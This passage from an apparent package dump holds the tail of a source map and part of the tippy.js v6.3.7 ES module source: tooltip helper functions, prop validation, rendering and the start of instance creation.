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"} dist/tippy.esm.js 0000666 00000220430 15167156642 0010017 0 ustar 00 /**! * tippy.js v6.3.7 * (c) 2017-2021 atomiks * MIT License */ import { createPopper, applyStyles } from '@popperjs/core'; var ROUND_ARROW = '<svg width="16" height="6" xmlns="http://www.w3.org/2000/svg"><path d="M0 6s1.796-.013 4.67-3.615C5.851.9 6.93.006 8 0c1.07-.006 2.148.887 3.343 2.385C14.233 6.005 16 6 16 6H0z"></svg>'; var BOX_CLASS = "tippy-box"; var CONTENT_CLASS = "tippy-content"; var BACKDROP_CLASS = "tippy-backdrop"; var ARROW_CLASS = "tippy-arrow"; var SVG_ARROW_CLASS = "tippy-svg-arrow"; var TOUCH_OPTIONS = { passive: true, capture: true }; var TIPPY_DEFAULT_APPEND_TO = function TIPPY_DEFAULT_APPEND_TO() { return document.body; }; function hasOwnProperty(obj, key) { return {}.hasOwnProperty.call(obj, key); } function getValueAtIndexOrReturn(value, index, defaultValue) { if (Array.isArray(value)) { var v = value[index]; return v == null ? Array.isArray(defaultValue) ? defaultValue[index] : defaultValue : v; } return value; } function isType(value, type) { var str = {}.toString.call(value); return str.indexOf('[object') === 0 && str.indexOf(type + "]") > -1; } function invokeWithArgsOrReturn(value, args) { return typeof value === 'function' ? value.apply(void 0, args) : value; } function debounce(fn, ms) { // Avoid wrapping in `setTimeout` if ms is 0 anyway if (ms === 0) { return fn; } var timeout; return function (arg) { clearTimeout(timeout); timeout = setTimeout(function () { fn(arg); }, ms); }; } function removeProperties(obj, keys) { var clone = Object.assign({}, obj); keys.forEach(function (key) { delete clone[key]; }); return clone; } function splitBySpaces(value) { return value.split(/\s+/).filter(Boolean); } function normalizeToArray(value) { return [].concat(value); } function pushIfUnique(arr, value) { if (arr.indexOf(value) === -1) { arr.push(value); } } function unique(arr) { return arr.filter(function (item, index) { return arr.indexOf(item) === index; }); } function getBasePlacement(placement) { return placement.split('-')[0]; } function arrayFrom(value) { return [].slice.call(value); } function removeUndefinedProps(obj) { return Object.keys(obj).reduce(function (acc, key) { if (obj[key] !== undefined) { acc[key] = obj[key]; } return acc; }, {}); } function div() { return document.createElement('div'); } function isElement(value) { return ['Element', 'Fragment'].some(function (type) { return isType(value, type); }); } function isNodeList(value) { return isType(value, 'NodeList'); } function isMouseEvent(value) { return isType(value, 'MouseEvent'); } function isReferenceElement(value) { return !!(value && value._tippy && value._tippy.reference === value); } function getArrayOfElements(value) { if (isElement(value)) { return [value]; } if (isNodeList(value)) { return arrayFrom(value); } if (Array.isArray(value)) { return value; } return arrayFrom(document.querySelectorAll(value)); } function setTransitionDuration(els, value) { els.forEach(function (el) { if (el) { el.style.transitionDuration = value + "ms"; } }); } function setVisibilityState(els, state) { els.forEach(function (el) { if (el) { el.setAttribute('data-state', state); } }); } function getOwnerDocument(elementOrElements) { var _element$ownerDocumen; var _normalizeToArray = normalizeToArray(elementOrElements), element = _normalizeToArray[0]; // Elements created via a <template> have an ownerDocument with no reference to the body return element != null && (_element$ownerDocumen = element.ownerDocument) != null && _element$ownerDocumen.body ? element.ownerDocument : document; } function isCursorOutsideInteractiveBorder(popperTreeData, event) { var clientX = event.clientX, clientY = event.clientY; return popperTreeData.every(function (_ref) { var popperRect = _ref.popperRect, popperState = _ref.popperState, props = _ref.props; var interactiveBorder = props.interactiveBorder; var basePlacement = getBasePlacement(popperState.placement); var offsetData = popperState.modifiersData.offset; if (!offsetData) { return true; } var topDistance = basePlacement === 'bottom' ? offsetData.top.y : 0; var bottomDistance = basePlacement === 'top' ? offsetData.bottom.y : 0; var leftDistance = basePlacement === 'right' ? offsetData.left.x : 0; var rightDistance = basePlacement === 'left' ? offsetData.right.x : 0; var exceedsTop = popperRect.top - clientY + topDistance > interactiveBorder; var exceedsBottom = clientY - popperRect.bottom - bottomDistance > interactiveBorder; var exceedsLeft = popperRect.left - clientX + leftDistance > interactiveBorder; var exceedsRight = clientX - popperRect.right - rightDistance > interactiveBorder; return exceedsTop || exceedsBottom || exceedsLeft || exceedsRight; }); } function updateTransitionEndListener(box, action, listener) { var method = action + "EventListener"; // some browsers apparently support `transition` (unprefixed) but only fire // `webkitTransitionEnd`... ['transitionend', 'webkitTransitionEnd'].forEach(function (event) { box[method](event, listener); }); } /** * Compared to xxx.contains, this function works for dom structures with shadow * dom */ function actualContains(parent, child) { var target = child; while (target) { var _target$getRootNode; if (parent.contains(target)) { return true; } target = target.getRootNode == null ? void 0 : (_target$getRootNode = target.getRootNode()) == null ? void 0 : _target$getRootNode.host; } return false; } var currentInput = { isTouch: false }; var lastMouseMoveTime = 0; /** * When a `touchstart` event is fired, it's assumed the user is using touch * input. We'll bind a `mousemove` event listener to listen for mouse input in * the future. This way, the `isTouch` property is fully dynamic and will handle * hybrid devices that use a mix of touch + mouse input. */ function onDocumentTouchStart() { if (currentInput.isTouch) { return; } currentInput.isTouch = true; if (window.performance) { document.addEventListener('mousemove', onDocumentMouseMove); } } /** * When two `mousemove` event are fired consecutively within 20ms, it's assumed * the user is using mouse input again. `mousemove` can fire on touch devices as * well, but very rarely that quickly. */ function onDocumentMouseMove() { var now = performance.now(); if (now - lastMouseMoveTime < 20) { currentInput.isTouch = false; document.removeEventListener('mousemove', onDocumentMouseMove); } lastMouseMoveTime = now; } /** * When an element is in focus and has a tippy, leaving the tab/window and * returning causes it to show again. For mouse users this is unexpected, but * for keyboard use it makes sense. * TODO: find a better technique to solve this problem */ function onWindowBlur() { var activeElement = document.activeElement; if (isReferenceElement(activeElement)) { var instance = activeElement._tippy; if (activeElement.blur && !instance.state.isVisible) { activeElement.blur(); } } } function bindGlobalEventListeners() { document.addEventListener('touchstart', onDocumentTouchStart, TOUCH_OPTIONS); window.addEventListener('blur', onWindowBlur); } var isBrowser = typeof window !== 'undefined' && typeof document !== 'undefined'; var isIE11 = isBrowser ? // @ts-ignore !!window.msCrypto : false; function createMemoryLeakWarning(method) { var txt = method === 'destroy' ? 'n already-' : ' '; return [method + "() was called on a" + txt + "destroyed instance. This is a no-op but", 'indicates a potential memory leak.'].join(' '); } function clean(value) { var spacesAndTabs = /[ \t]{2,}/g; var lineStartWithSpaces = /^[ \t]*/gm; return value.replace(spacesAndTabs, ' ').replace(lineStartWithSpaces, '').trim(); } function getDevMessage(message) { return clean("\n %ctippy.js\n\n %c" + clean(message) + "\n\n %c\uD83D\uDC77\u200D This is a development-only message. It will be removed in production.\n "); } function getFormattedMessage(message) { return [getDevMessage(message), // title 'color: #00C584; font-size: 1.3em; font-weight: bold;', // message 'line-height: 1.5', // footer 'color: #a6a095;']; } // Assume warnings and errors never have the same message var visitedMessages; if (process.env.NODE_ENV !== "production") { resetVisitedMessages(); } function resetVisitedMessages() { visitedMessages = new Set(); } function warnWhen(condition, message) { if (condition && !visitedMessages.has(message)) { var _console; visitedMessages.add(message); (_console = console).warn.apply(_console, getFormattedMessage(message)); } } function errorWhen(condition, message) { if (condition && !visitedMessages.has(message)) { var _console2; visitedMessages.add(message); (_console2 = console).error.apply(_console2, getFormattedMessage(message)); } } function validateTargets(targets) { var didPassFalsyValue = !targets; var didPassPlainObject = Object.prototype.toString.call(targets) === '[object Object]' && !targets.addEventListener; errorWhen(didPassFalsyValue, ['tippy() was passed', '`' + String(targets) + '`', 'as its targets (first) argument. Valid types are: String, Element,', 'Element[], or NodeList.'].join(' ')); errorWhen(didPassPlainObject, ['tippy() was passed a plain object which is not supported as an argument', 'for virtual positioning. Use props.getReferenceClientRect instead.'].join(' ')); } var pluginProps = { animateFill: false, followCursor: false, inlinePositioning: false, sticky: false }; var renderProps = { allowHTML: false, animation: 'fade', arrow: true, content: '', inertia: false, maxWidth: 350, role: 'tooltip', theme: '', zIndex: 9999 }; var defaultProps = Object.assign({ appendTo: TIPPY_DEFAULT_APPEND_TO, aria: { content: 'auto', expanded: 'auto' }, delay: 0, duration: [300, 250], getReferenceClientRect: null, hideOnClick: true, ignoreAttributes: false, interactive: false, interactiveBorder: 2, interactiveDebounce: 0, moveTransition: '', offset: [0, 10], onAfterUpdate: function onAfterUpdate() {}, onBeforeUpdate: function onBeforeUpdate() {}, onCreate: function onCreate() {}, onDestroy: function onDestroy() {}, onHidden: function onHidden() {}, onHide: function onHide() {}, onMount: function onMount() {}, onShow: function onShow() {}, onShown: function onShown() {}, onTrigger: function onTrigger() {}, onUntrigger: function onUntrigger() {}, onClickOutside: function onClickOutside() {}, placement: 'top', plugins: [], popperOptions: {}, render: null, showOnCreate: false, touch: true, trigger: 'mouseenter focus', triggerTarget: null }, pluginProps, renderProps); var defaultKeys = Object.keys(defaultProps); var setDefaultProps = function setDefaultProps(partialProps) { /* istanbul ignore else */ if (process.env.NODE_ENV !== "production") { validateProps(partialProps, []); } var keys = Object.keys(partialProps); keys.forEach(function (key) { defaultProps[key] = partialProps[key]; }); }; function getExtendedPassedProps(passedProps) { var plugins = passedProps.plugins || []; var pluginProps = plugins.reduce(function (acc, plugin) { var name = plugin.name, defaultValue = plugin.defaultValue; if (name) { var _name; acc[name] = passedProps[name] !== undefined ? passedProps[name] : (_name = defaultProps[name]) != null ? _name : defaultValue; } return acc; }, {}); return Object.assign({}, passedProps, pluginProps); } function getDataAttributeProps(reference, plugins) { var propKeys = plugins ? Object.keys(getExtendedPassedProps(Object.assign({}, defaultProps, { plugins: plugins }))) : defaultKeys; var props = propKeys.reduce(function (acc, key) { var valueAsString = (reference.getAttribute("data-tippy-" + key) || '').trim(); if (!valueAsString) { return acc; } if (key === 'content') { acc[key] = valueAsString; } else { try { acc[key] = JSON.parse(valueAsString); } catch (e) { acc[key] = valueAsString; } } return acc; }, {}); return props; } function evaluateProps(reference, props) { var out = Object.assign({}, props, { content: invokeWithArgsOrReturn(props.content, [reference]) }, props.ignoreAttributes ? {} : getDataAttributeProps(reference, props.plugins)); out.aria = Object.assign({}, defaultProps.aria, out.aria); out.aria = { expanded: out.aria.expanded === 'auto' ? props.interactive : out.aria.expanded, content: out.aria.content === 'auto' ? props.interactive ? null : 'describedby' : out.aria.content }; return out; } function validateProps(partialProps, plugins) { if (partialProps === void 0) { partialProps = {}; } if (plugins === void 0) { plugins = []; } var keys = Object.keys(partialProps); keys.forEach(function (prop) { var nonPluginProps = removeProperties(defaultProps, Object.keys(pluginProps)); var didPassUnknownProp = !hasOwnProperty(nonPluginProps, prop); // Check if the prop exists in `plugins` if (didPassUnknownProp) { didPassUnknownProp = plugins.filter(function (plugin) { return plugin.name === prop; }).length === 0; } warnWhen(didPassUnknownProp, ["`" + prop + "`", "is not a valid prop. You may have spelled it incorrectly, or if it's", 'a plugin, forgot to pass it in an array as props.plugins.', '\n\n', 'All props: https://atomiks.github.io/tippyjs/v6/all-props/\n', 'Plugins: https://atomiks.github.io/tippyjs/v6/plugins/'].join(' ')); }); } var innerHTML = function innerHTML() { return 'innerHTML'; }; function dangerouslySetInnerHTML(element, html) { element[innerHTML()] = html; } function createArrowElement(value) { var arrow = div(); if (value === true) { arrow.className = ARROW_CLASS; } else { arrow.className = SVG_ARROW_CLASS; if (isElement(value)) { arrow.appendChild(value); } else { dangerouslySetInnerHTML(arrow, value); } } return arrow; } function setContent(content, props) { if (isElement(props.content)) { dangerouslySetInnerHTML(content, ''); content.appendChild(props.content); } else if (typeof props.content !== 'function') { if (props.allowHTML) { dangerouslySetInnerHTML(content, props.content); } else { content.textContent = props.content; } } } function getChildren(popper) { var box = popper.firstElementChild; var boxChildren = arrayFrom(box.children); return { box: box, content: boxChildren.find(function (node) { return node.classList.contains(CONTENT_CLASS); }), arrow: boxChildren.find(function (node) { return node.classList.contains(ARROW_CLASS) || node.classList.contains(SVG_ARROW_CLASS); }), backdrop: boxChildren.find(function (node) { return node.classList.contains(BACKDROP_CLASS); }) }; } function render(instance) { var popper = div(); var box = div(); box.className = BOX_CLASS; box.setAttribute('data-state', 'hidden'); box.setAttribute('tabindex', '-1'); var content = div(); content.className = CONTENT_CLASS; content.setAttribute('data-state', 'hidden'); setContent(content, instance.props); popper.appendChild(box); box.appendChild(content); onUpdate(instance.props, instance.props); function onUpdate(prevProps, nextProps) { var _getChildren = getChildren(popper), box = _getChildren.box, content = _getChildren.content, arrow = _getChildren.arrow; if (nextProps.theme) { box.setAttribute('data-theme', nextProps.theme); } else { box.removeAttribute('data-theme'); } if (typeof nextProps.animation === 'string') { box.setAttribute('data-animation', nextProps.animation); } else { box.removeAttribute('data-animation'); } if (nextProps.inertia) { box.setAttribute('data-inertia', ''); } else { box.removeAttribute('data-inertia'); } box.style.maxWidth = typeof nextProps.maxWidth === 'number' ? nextProps.maxWidth + "px" : nextProps.maxWidth; if (nextProps.role) { box.setAttribute('role', nextProps.role); } else { box.removeAttribute('role'); } if (prevProps.content !== nextProps.content || prevProps.allowHTML !== nextProps.allowHTML) { setContent(content, instance.props); } if (nextProps.arrow) { if (!arrow) { box.appendChild(createArrowElement(nextProps.arrow)); } else if (prevProps.arrow !== nextProps.arrow) { box.removeChild(arrow); box.appendChild(createArrowElement(nextProps.arrow)); } } else if (arrow) { box.removeChild(arrow); } } return { popper: popper, onUpdate: onUpdate }; } // Runtime check to identify if the render function is the default one; this // way we can apply default CSS transitions logic and it can be tree-shaken away render.$$tippy = true; var idCounter = 1; var mouseMoveListeners = []; // Used by `hideAll()` var mountedInstances = []; function createTippy(reference, passedProps) { var props = evaluateProps(reference, Object.assign({}, defaultProps, getExtendedPassedProps(removeUndefinedProps(passedProps)))); // =========================================================================== // 🔒 Private members // =========================================================================== var showTimeout; var hideTimeout; var scheduleHideAnimationFrame; var isVisibleFromClick = false; var didHideDueToDocumentMouseDown = false; var didTouchMove = false; var ignoreOnFirstUpdate = false; var lastTriggerEvent; var currentTransitionEndListener; var onFirstUpdate; var listeners = []; var debouncedOnMouseMove = debounce(onMouseMove, props.interactiveDebounce); var currentTarget; // =========================================================================== // 🔑 Public members // =========================================================================== var id = idCounter++; var popperInstance = null; var plugins = unique(props.plugins); var state = { // Is the instance currently enabled? isEnabled: true, // Is the tippy currently showing and not transitioning out? isVisible: false, // Has the instance been destroyed? isDestroyed: false, // Is the tippy currently mounted to the DOM? isMounted: false, // Has the tippy finished transitioning in? isShown: false }; var instance = { // properties id: id, reference: reference, popper: div(), popperInstance: popperInstance, props: props, state: state, plugins: plugins, // methods clearDelayTimeouts: clearDelayTimeouts, setProps: setProps, setContent: setContent, show: show, hide: hide, hideWithInteractivity: hideWithInteractivity, enable: enable, disable: disable, unmount: unmount, destroy: destroy }; // TODO: Investigate why this early return causes a TDZ error in the tests — // it doesn't seem to happen in the browser /* istanbul ignore if */ if (!props.render) { if (process.env.NODE_ENV !== "production") { errorWhen(true, 'render() function has not been supplied.'); } return instance; } // =========================================================================== // Initial mutations // =========================================================================== var _props$render = props.render(instance), popper = _props$render.popper, onUpdate = _props$render.onUpdate; popper.setAttribute('data-tippy-root', ''); popper.id = "tippy-" + instance.id; instance.popper = popper; reference._tippy = instance; popper._tippy = instance; var pluginsHooks = plugins.map(function (plugin) { return plugin.fn(instance); }); var hasAriaExpanded = reference.hasAttribute('aria-expanded'); addListeners(); handleAriaExpandedAttribute(); handleStyles(); invokeHook('onCreate', [instance]); if (props.showOnCreate) { scheduleShow(); } // Prevent a tippy with a delay from hiding if the cursor left then returned // before it started hiding popper.addEventListener('mouseenter', function () { if (instance.props.interactive && instance.state.isVisible) { instance.clearDelayTimeouts(); } }); popper.addEventListener('mouseleave', function () { if (instance.props.interactive && instance.props.trigger.indexOf('mouseenter') >= 0) { getDocument().addEventListener('mousemove', debouncedOnMouseMove); } }); return instance; // =========================================================================== // 🔒 Private methods // =========================================================================== function getNormalizedTouchSettings() { var touch = instance.props.touch; return Array.isArray(touch) ? touch : [touch, 0]; } function getIsCustomTouchBehavior() { return getNormalizedTouchSettings()[0] === 'hold'; } function getIsDefaultRenderFn() { var _instance$props$rende; // @ts-ignore return !!((_instance$props$rende = instance.props.render) != null && _instance$props$rende.$$tippy); } function getCurrentTarget() { return currentTarget || reference; } function getDocument() { var parent = getCurrentTarget().parentNode; return parent ? getOwnerDocument(parent) : document; } function getDefaultTemplateChildren() { return getChildren(popper); } function getDelay(isShow) { // For touch or keyboard input, force `0` delay for UX reasons // Also if the instance is mounted but not visible (transitioning out), // ignore delay if (instance.state.isMounted && !instance.state.isVisible || currentInput.isTouch || lastTriggerEvent && lastTriggerEvent.type === 'focus') { return 0; } return getValueAtIndexOrReturn(instance.props.delay, isShow ? 0 : 1, defaultProps.delay); } function handleStyles(fromHide) { if (fromHide === void 0) { fromHide = false; } popper.style.pointerEvents = instance.props.interactive && !fromHide ? '' : 'none'; popper.style.zIndex = "" + instance.props.zIndex; } function invokeHook(hook, args, shouldInvokePropsHook) { if 